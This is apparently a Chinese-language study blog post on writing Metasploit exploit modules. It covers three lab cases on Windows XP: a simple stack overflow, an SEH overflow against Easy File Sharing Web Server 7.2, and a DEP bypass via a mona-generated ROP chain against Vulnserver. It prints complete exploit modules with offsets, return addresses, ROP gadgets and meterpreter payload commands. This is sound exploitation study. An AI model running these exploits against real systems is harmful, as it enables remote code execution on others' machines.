MMsf 3 渗透模块开发

启程

本章一开始写到:

If debugging is the process of removing bugs, then programming must be the process of putting them in.

在《0day安全》的学习过程中,我们已经接触过基础栈溢出、SEH、DEP的绕过以及其他的更为高级的漏洞利用方式。在这一章可以学习一下,怎样将那些手工操作通过Metasploit变得自动化。

使用Metasploit实现栈溢出

本节我们使用Metasploit对一个小型服务器程序进行栈溢出。服务器程序来自这里。它可以监听端口,并使用一个512字节长的缓冲区接受数据。

漏洞点如下:

int     getl(int fd, char *s)
{
  int   n;
  int   ret;

  s[0] = 0;
  for (n = 0; (ret = recv(fd, s + n, 1, 0)) == 1 && 
         s[n] && s[n] != '\n'; n++)
    ;
  if (ret == -1 || ret == 0)
    return (-1);
  while (n && (s[n] == '\n' || s[n] == '\r' || s[n] == ' ')){
      s[n] = 0;
      n--;
    }
  return (n);
}

void    manage_client(int s)
{
  char buffer[512];
  int cont = 1;

  while (cont){
      send(s, "\r\n> ", 4, 0);
      if (getl(s, buffer) == -1)
        return ;
      if (!strcmp(buffer, "version"))
        send(s, VERSION_STR, strlen(VERSION_STR), 0);
      if (!strcmp(buffer, "quit"))
        cont = 0;
    }
}

这是最基础的栈溢出,我们只是借此来体会一下Metasploit编写exploit模块的过程。在0day安全 Chapter 4 用Metasploit开发Exploit中我曾经尝试过这种操作,当时没有成功。

我将在XP上运行服务器程序,这样可以避免ASLR的影响,同时需要关闭DEP(关闭方法参考:0day安全 Chapter 11 亡羊补牢:SafeSEH,注意,在XP下直接修改boot.ini是没法改的,需要右击“我的电脑”选择“属性“、”高级“、”启动故障和恢复-设置“、“编辑”才可以修改)。另外,由于使用的是作者已经编译好的可执行文件,我这里使用PESecurity先来检查一下可执行文件本身的防御措施开启情况:

很好,都没有开。

XP中运行程序:

# XP is 172.16.56.134
bof-server.exe 10000

之后我们与服务器建立连接:

# Attacker is 172.16.56.1
ncat 172.16.56.134 10000

并使用

python -c "print('A' * 512)"

来产生数据并复制到ncat中输入。A的数量每次以4递增。后来发现,当输入524个A时会导致服务器崩溃。

由于之前在做《0day安全》的实验时我将这个XP中的OD设置为了实时调试器(具体可以参考0day安全 Chapter 5 堆溢出利用),所以服务器崩溃后自动进入OD。我们在OD中打开寄存器窗口,发现EIP恰好被覆盖为AAAA:

因此可知,524正是缓冲区首到栈上返回地址的偏移量。

于是我们便有了栈上shellcode的构造。非常简单:520个填充字节+esp跳板+payload,就不再展开说了。需要注意的是要根据服务端程序的实际情况来避免shellcode中出现badchar,这在0day安全 Chapter 4 用Metasploit开发Exploit亦有提到,不必多说。

整个shellcode如下:

我们说过,要让exploit过程尽量自动化。前面计算偏移量是我们自己通过输入不同数量的A计算的,下面首先看一下这个过程的自动化。

自动化获得偏移量

我们使用pattern_create/pattern_offset两款工具。它们位于framework/tools/exploit下。

具体操作如下(直接使用系统自带的Ruby执行这两个脚本会出错,所以我用了Metasploit自带的Ruby解释器):

/opt/metasploit-framework/embedded/bin/ruby /opt/metasploit-framework/embedded/framework/tools/exploit/pattern_create.rb --length 550

得到

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2A

用它们作为输入,触发程序崩溃,然后看EIP:

72413372,接着

/opt/metasploit-framework/embedded/bin/ruby /opt/metasploit-framework/embedded/framework/tools/exploit/pattern_offset.rb --query 72413372 --length 550

得到

[*] Exact match at offset 520

和我们的计算是相符的,不过这个Ruby解释器也不怎么快。

这是什么原理?

我之前在研究Linux下栈溢出时接触过完全相同的工具,当时写了一些文字来解释其原理:


原理介绍-开始

“有高级玩家开发了pattern.py这个寻找溢出点的程序。先介绍玩法,再讲原理。”

首先生成一串字符串(长度估计得比你的溢出点偏移多就行):

./pattern.py 500 > input

然后在gdb中运行目标程序,并以重定向方式输入r < input,程序将在某个地址崩溃,如下:

Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x316a4130 in ?? ()

接着只需要:

./pattern.py 0x316a4130

就可以得到:

Pattern 0x316a4130 first occurrence at position 272 in pattern.

也就是在基础玩法中需要272 * A作为溢出点偏移。

OK。那么原理呢?

读一下pattern.py的源码可知,它按照

Aa0Aa1...Aa9...Az9
Ba0...Bz9
...
Za0...Zz9

顺序来生成字符串,这串字符串的特点是,其中的任何一个子串在整个字符串中都是首次出现。所以当我们用一串非常长的字符去导致返回地址被覆盖时,覆盖地址的四个字符在上述字符串中是首次出现的,所以就可以根据导致崩溃的四个字符来计算溢出点偏移量。不过按照这个脚本的玩法,该特异字符串最长可达大写字母数 * 小写字母数 * 数字数 * 每组的长度3 = 20280,如果溢出所需填充量比这个大,就要考虑加入其他字符了。

原理介绍-结束


确定了偏移量,接下来就是寻找jmp esp跳板。

寻找跳板

按照以前的思路,就是用OD的插件找,或者直接在OD中搜索跳板指令。本节我们使用msfbinscan。首先OD附加进程看一下服务器加载了哪些模块:

作者在ws2_32.dll中找:

msfbinscan --jump esp ./ws2_32.dll

得到

[./ws2_32.dll]
0x71a22b53 push esp; ret

不过这个东西似乎没有OD的FindAddr插件来的方便。而且有那么多的DLL可以找到一个直接的jmp跳板,为什么不用。这里权当作尝试好了。后面我还是使用从OD插件FindAddr中找到的0x7dd333af作为跳板。

注意,有时候你的工具可能不会那么听话,比如:

我明明执行的是

python -c "print('A' * 520 + '\xc8\x3a\xd8\x77' + 'BBBBCCCC')" > xx.txt

结果用xxd查看这个文件,结尾却不是我想要的!!

000001e0: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
000001f0: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000200: 4141 4141 4141 4141 c388 3ac3 9877 4242  AAAAAAAA..:..wBB
00000210: 4242 4343 4343 0a                        BBCCCC.

这就很坑了。

换做Perl就没事了:

perl -e 'print("A" x 520 . "\xc8\x3a\xd8\x77" . "BBBBCCCC")' > xx.txt
000001e0: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
000001f0: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000200: 4141 4141 4141 4141 c83a d877 4242 4242  AAAAAAAA.:.wBBBB
00000210: 4343 4343                                CCCC

不过这是手工调试时的问题,后面开发msf模块不存在这个问题。

确定坏字符

坏字符取决于具体的漏洞环境。根据漏洞源代码,我们将以下字符当作本次坏字符:

"\x20\x0a\x0d\x00\xff"

编写exploit模块并exploit

我们可以用msfvenom先看一下meterpreter的payload有多长:

msfvenom --payload windows/meterpreter/bind_tcp RHOST=172.16.56.134 --format c --arch x86 --platform windows --bad "\x00\xff\x20\x0a\x0d" --smallest

得到

Attempting to encode payload with 1 iterations of x86/alpha_mixed
x86/alpha_mixed succeeded with size 632 (iteration=0)
x86/fnstenv_mov chosen with final size 310
Payload size: 310 bytes

还好,不是很长。

万事俱备了,模块代码如下:

class MetasploitModule < Msf::Exploit::Remote
    Rank = NormalRanking
    include Msf::Exploit::Remote::Tcp

    def initialize(info = {})
        super(update_info(info,
            'Name'      => 'Stack Overflow Example',
            'Description' => %q{
                Stack Based Overflow Example
            },
            'Platform'  => 'win',
            'Author' => 'Rambo',
            'Targets'   => [
                        ['Windows XP SP3', {'Ret' => 0x7dd333af, 'Offset' => 520}]
                       ],
            'Payload'       => {
                        'Space'    => 400,
                        'BadChars' => "\x20\x0a\x0d\x00\xff",
                        },
            'DisclosureDate' => 'Oct 26 2018'
        ))
        register_options(
        [
            Opt::RPORT(10000)
        ], self.class)

    end

    def exploit
        connect
        buf = make_nops(target['Offset'])
        buf = buf + [target['Ret']].pack('V') + payload.encoded
        sock.put(buf)
        handler
        disconnect
    end
end

代码很好理解。其中.pack('V')是使用小端序。另外handler的解释与源码如下:

  # Passes the connection to the associated payload handler to see if the
  # exploit succeeded and a connection has been established.  The return
  # value can be one of the Handler::constants.
  #
  def handler(*args)
    if payload_instance && handler_enabled?
      payload_instance.handler(*args)
    end
  end

  def interrupt_handler
    if payload_instance && handler_enabled? && payload_instance.respond_to?(:interrupt_wait_for_session)
      payload_instance.interrupt_wait_for_session()
    end
  end

参考如何向 Metasploit 中增加自定义 exploit 模块?,我们可以在$HOME/.msf4/modules/下建立对应的目录结构,如exploits/rambo/,然后把自己的模块放进去,msfconsole启动时会自动把它加入。

测试:

我们设置payload为windows/meterpreter/bind_tcp,run:

使用Metasploit实现基于SEH的栈溢出

本节我们使用Metasploit对Easy File Sharing Web Server 7.2利用SEH实现溢出。它在处理请求时存在漏洞,一个恶意的HEADGET会引起缓冲区溢出。

靶机环境依然是XP,关闭DEP。

Exploit-DB上的同作者的两个PoC都可以实现弹计算器:Easy File Sharing Web Server 7.2 - HEAD Request Buffer Overflow (SEH)Easy File Sharing Web Server 7.2 - GET Buffer Overflow (SEH),分别是GETHEAD方法。参考他的PoC可以给我们一些启发。

(最初我想先通过逆向二进制程序的方式去定位一下漏洞发生点,但是代码量太多,我没有分析出来。未来学习了Fuzzing后可以来尝试一下这个程序。)

SEH的利用逻辑

作者利用SEH的技巧与我之前研究过的有些许差异:

他何必多此一举呢?直接把Handler覆盖为Shellcode的地址不就可以了?其实作者的这种构造方式更为鲁棒,因为它没有依赖Shellcode的绝对地址,而是使用了短跳转。

但是,这样为什么可行呢?在SEH异常处理函数被调用的时候,ESP指向哪里?为什么依靠PPR就可以返回到“下一条SEH记录地址”这个位置?

参考[原创]利用SEH异常处理机制绕过GS保护

seh通常利用的是pop pop ret 一旦进入异常处理,就会把Pointer to next SEH的这个地址压入栈中进行系统处理,通过pop pop然后这个地址ret到我们的eip中,因为Pointer to Next..是可控的所以我们控制这个地址来控制eip。

我们验证一下他说的话。利用《0day安全》第六章的测试程序,跟踪到异常处理流程中,如下图:

上图中call ecx调用的正是shellcode,而我们注意在栈上(右下方红框内)第二个位置,恰恰是“下一条SEH记录地址”的指针!这样一旦调用shellcode,首先call指令会把一个返回地址压栈。所以恰好可以通过一个PPR来达到作者上面的利用思路。验证完毕。

偏移量计算

我按照上一节的方法去输入过量字符来尝试获得崩溃信息,但是这程序竟然直接崩溃退出,没有任何信息。这可能是因为覆盖了SEH,导致它没法给出错误信息就被操作系统给干掉了。用Ollydbg也无法获得这样的信息,所以下面就按照书上的方式老老实实地用Immunity操作(说明自己的调试水平和工具使用水平还有待提高啊)。

生成10000个测试字符:

/opt/metasploit-framework/embedded/bin/ruby /opt/metasploit-framework/embedded/framework/tools/exploit/pattern_create.rb --length 10000 > xx.txt

Vim打开xx.txt,在开头加入HEAD ;然后

python -c "print(' HTTP/1.0\r\n\r\n')" > y.txt
cat xx.txt y.txt > z.txt

接着用Vim十六进制模式编辑z.txt,删去xx.txty.txt内容之间的那个0x0a。进入Vim十六进制模式的方法如下:

vim -b z.txt

# In Vim
:%!xxd

# After editing, use the instruction below to save
:%!xxd -r

至此,测试文件生成完毕。在XP中打开Immunity,在其中打开fsws.exe,然后运行,出现如下窗口:

点击Try it。从而进入正常运行窗口:

此时在攻击机器上

ncat 172.16.56.134 10000 < z.txt

此时Immunity会把程序停止,并报出:

我们查看此时的SEH:

接着

/opt/metasploit-framework/embedded/bin/ruby /opt/metasploit-framework/embedded/framework/tools/exploit/pattern_offset.rb --query 46356646 --length 10000

# result
[*] Exact match at offset 4065

/opt/metasploit-framework/embedded/bin/ruby /opt/metasploit-framework/embedded/framework/tools/exploit/pattern_offset.rb --query 34664633 --length 10000

# result
[*] Exact match at offset 4061

于是我们知道偏移4061开始是下一条SEH的指针,偏移4065是本SEH的异常处理函数指针。

寻找PPR

我们通过在Immunity中执行(需要安装mona)

!mona seh

来寻找PPR。结果保存在Immunity安装目录下的seh.txt中。最后我们选择位于ImageLoad.dll0x10019993

现在就差一个短跳转了,我们可以用Metasploit来提供。

编写Exploit模块

class MetasploitModule < Msf::Exploit::Remote
    Rank = NormalRanking
    include Msf::Exploit::Remote::Tcp
    include Msf::Exploit::Seh

    def initialize(info = {})
        super(update_info(info,
            'Name'      => 'Easy File Sharing HTTP Server 7.2 SEH Overflow (HEAD)',
            'Description' => %q{
                SEH based overflow example
            },
            'Platform'  => 'win',
            'Author' => 'Rambo',
            'Targets'   => [
                        ['Easy File Sharing HTTP Server 7.2', {'Ret' => 0x10019993, 'Offset' => 4061}]
                       ],
            'Privileged' => true,
            'DefaultOptions' =>
                {

                    'EXITFUNC' => 'thread',
                },
            'Payload'       => {
                        'Space'    => 400,
                        'BadChars' => "\x2b\x26\x3d\x25\x3a\x22\x2f\x5c\x2e\x20\x0a\x0d\x00\xff",
                        },
            'DisclosureDate' => 'Dec 2 2015',
            'DefaultTarget' => 0
        ))
        register_options(
        [
            Opt::RPORT(10000)
        ], self.class)

    end
    def exploit
        connect
        weapon = "HEAD "
        weapon << make_nops(target['Offset'])
        weapon << generate_seh_record(target['Ret'])
        weapon << make_nops(19)
        weapon << payload.encoded
        weapon << " HTTP/1.0\r\n\r\n"
        sock.put(weapon)
        handler
        disconnect
    end
end

需要解释的是generate_seh_record(target['Ret']),它会把Ret作为异常处理函数地址,生成一个8字节的SEH节点。其中“下一条SEH记录地址”这个位置是一个短跳转,类似于\xeb\x0A\x90\x90,用来跳过SEH节点跳到后面的shellcode上。

测试:

msf exploit(rambo/test) > use exploit/rambo/my_seh

msf exploit(rambo/my_seh) > set RHOST 172.16.56.134
RHOST => 172.16.56.134
msf exploit(rambo/my_seh) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp

使用Metasploit绕过DEP

我们使用网上一个博主自己写的Introducing Vulnserver作为漏洞示例程序。作者提供了源码,其中有较多漏洞,我们选择如下一处:

else if (strncmp(RecvBuf, "TRUN ", 5) == 0) {
				char *TrunBuf = malloc(3000);
				memset(TrunBuf, 0, 3000);
				for (i = 5; i < RecvBufLen; i++) {
					if ((char)RecvBuf[i] == '.') {
						strncpy(TrunBuf, RecvBuf, 3000);				
						Function3(TrunBuf);
						break;
					}
				}
				memset(TrunBuf, 0, 3000);				
				SendResult = send( Client, "TRUN COMPLETE\n", 14, 0 );
}

void Function3(char *Input) {
	char Buffer2S[2000];	
	strcpy(Buffer2S, Input);
}

很明显的缓冲区溢出。

快速测试无DEP情况

我们先在关闭DEP的环境下快速开发一次exploit:

找偏移:

/opt/metasploit-framework/embedded/bin/ruby /opt/metasploit-framework/embedded/framework/tools/exploit/pattern_create.rb --length 2500 > ~/y.txt

然后在y.txt最前面添加TRUN ,在结尾添加.。接着打开服务器程序,用ncat连接:

ncat 172.16.56.134 10000 < y.txt

程序崩溃,得到崩溃EIP是43396f43。接着

/opt/metasploit-framework/embedded/bin/ruby /opt/metasploit-framework/embedded/framework/tools/exploit/pattern_offset.rb --query  43396f43 --length 2500

[*] Exact match at offset 2007

得到偏移。再考虑到要放入标识符.(这次我们把.不放在结尾了,怕影响后面排布shellcode),所以真正的填充字节应该是'TRUN .' + '\x90' * 2006

再利用FindAddr找跳板地址,最后构成的exploit如下:

    def exploit
        connect
        buf = 'TRUN .' + make_nops(target['Offset'])
        buf = buf + [target['Ret']].pack('V') + payload.encoded
        sock.put(buf)
        handler
        disconnect
    end

测试:

打开并绕过DEP

修改boot.ini并重启系统。使用之前的exploit再次攻击:

失败,同时在XP上显示:

绕过DEP的方法我们在0day安全 Chapter 12 数据与程序的分水岭:DEP已经讲过。这里我们将构建ROP链来调用VirtualProtect()关闭DEP并执行Shellcode。具体原理这里不再赘述。

本节我们将使用mona去自动化构造ROP链。

将Immunity附加到vulnerserver上,输入

!mona rop -m *.dll -cp nonull

稍等一会儿,在Immunity根目录下找到rop_chains.txt文件,这个文件提供非常丰富的内容,列举如下:

  • 以Ruby/C/Python/Javascript四种语言格式给出调用VirtualProtect的ROP链
  • 以上述四种语言格式给出了调用SetInformationProcess()的ROP链
  • 以上述四种语言格式给出了调用SetProcessDEPPolicy()的ROP链

太强大了。我们将Ruby版本的调用VirtualProtect的ROP链复制进入我们的exploit模块,这个模块在之前未开DEP的模块基础上修改得来,如下:

class MetasploitModule < Msf::Exploit::Remote
    Rank = NormalRanking
    include Msf::Exploit::Remote::Tcp

    def initialize(info = {})
        super(update_info(info,
            'Name'      => 'DEP Bypass Exploit',
            'Description' => %q{
                DEP Bypass Using ROP Chains Example Module
            },
            'Platform'  => 'win',
            'Author' => 'Rambo',
            'Targets'   => [
                        ['Windows XP SP3', {'Offset' => 2006}]
                       ],
            'Payload'       => {
                        'Space'    => 400,
                        'BadChars' => "\x20\x0a\x0d\x00\xff",
                        },
            'DisclosureDate' => 'Oct 26 2018'
        ))
        register_options(
        [
            Opt::RPORT(10000)
        ], self.class)

    end
    # this function is generated by mona
    def create_rop_chain()
        # rop chain generated with mona.py - www.corelan.be
        rop_gadgets =
        [
          0x77c1debf,  # POP EAX # RETN [msvcrt.dll]
          0x6250609c,  # ptr to &VirtualProtect() [IAT essfunc.dll]
          0x77e62d1c,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [RPCRT4.dll]
          0x77f33564,  # XCHG EAX,ESI # RETN [GDI32.dll]
          0x77c130f9,  # POP EBP # RETN [msvcrt.dll]
          0x625011c7,  # & jmp esp [essfunc.dll]
          0x77c0b860,  # POP EAX # RETN [msvcrt.dll]
          0xfffffdff,  # Value to negate, will become 0x00000201
          0x77d4493b,  # NEG EAX # RETN [USER32.dll]
          0x7c9259c8,  # XCHG EAX,EBX # RETN [ntdll.dll]
          0x77bf1d16,  # POP EAX # RETN [msvcrt.dll]
          0xffffffc0,  # Value to negate, will become 0x00000040
          0x77da9b06,  # NEG EAX # RETN [ADVAPI32.dll]
          0x77c28fbc,  # XCHG EAX,EDX # RETN [msvcrt.dll]
          0x7c98b602,  # POP ECX # RETN [ntdll.dll]
          0x7c99e2c7,  # &Writable location [ntdll.dll]
          0x77e0cb20,  # POP EDI # RETN [ADVAPI32.dll]
          0x77e6d224,  # RETN (ROP NOP) [RPCRT4.dll]
          0x77df5bf7,  # POP EAX # RETN [ADVAPI32.dll]
          0x90909090,  # nop
          0x60fe2449,  # PUSHAD # RETN [hnetcfg.dll]
        ].flatten.pack("V*")

        return rop_gadgets
    end
    def exploit
        connect
        rop_chain = create_rop_chain()
        buf = 'TRUN .' + make_nops(target['Offset'])
        buf = buf + rop_chain + make_nops(16) + payload.encoded + '\r\n'
        sock.put(buf)
        handler
        disconnect
    end
end

可以发现,其中不再需要Ret。这正是返回导向编程技术(ROP)的先进之处。

测试:

注:msfrop可以用来查找零散ROP指令片段。

总结

本章让我学到了不同的漏洞利用姿势,也开了不少眼界,很棒。其中mona构造ROP链的能力让我印象深刻,因为之前在做《0day安全》的实验时,我深刻体会到自己手工构造ROP链去调用VirtualProtect()的繁琐复杂,很消耗脑力,这里竟然把整个过程最核心的部分全然自动化了。这也是高级漏洞利用技术的魅力所在。当然,像之前那样手工去构造、分析的能力是一定要掌握的,这是硬实力。尤其当mona等高级自动化工具面对更为复杂的情况不适用时,我们一定要具备能够修正工具的能力,这就要求我们知其所以然。

总的来说,先手工研究,过一遍,然后想办法让整个流程专业化自动化,这是值得推崇的解决问题的方式。

最后,真的是知道的越多,知道自己不知道的越多。无论是各种系统内部的机制,还是各种工具的原理,我理解得都不是很透彻。

So keep trying & hacking and never stop!

Per Aspera Ad Astra